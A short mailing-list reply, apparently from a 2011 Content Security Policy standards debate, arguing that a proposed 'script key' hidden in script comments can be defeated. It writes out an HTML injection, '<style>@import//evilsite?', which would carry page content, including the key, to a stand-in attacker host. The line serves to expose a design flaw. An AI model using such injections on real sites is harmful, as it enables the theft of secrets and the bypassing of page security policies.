Re: [Content Security Policy] Proposal to move the debate forward

On 28 January 2011 11:18, Gervase Markham <gerv@mozilla.org> wrote:

> <script> /* '" SCRIPT_KEY_HERE */ var valid_script = 0; ... </script>
>
> But I agree that's a bit of a pain to do. We could make it so that the only
> valid script-keys were ones which began "' ... !
>

Ah wait hehe I already know how to send that data remotely:-

 INJECTION HERE
<script> /* '" SCRIPT_KEY_HERE */ var valid_script = 0; ... </script>

Injection:-
<style>@import//evilsite?

So yeah well and truly pwnd, can we have start and end markers now? :D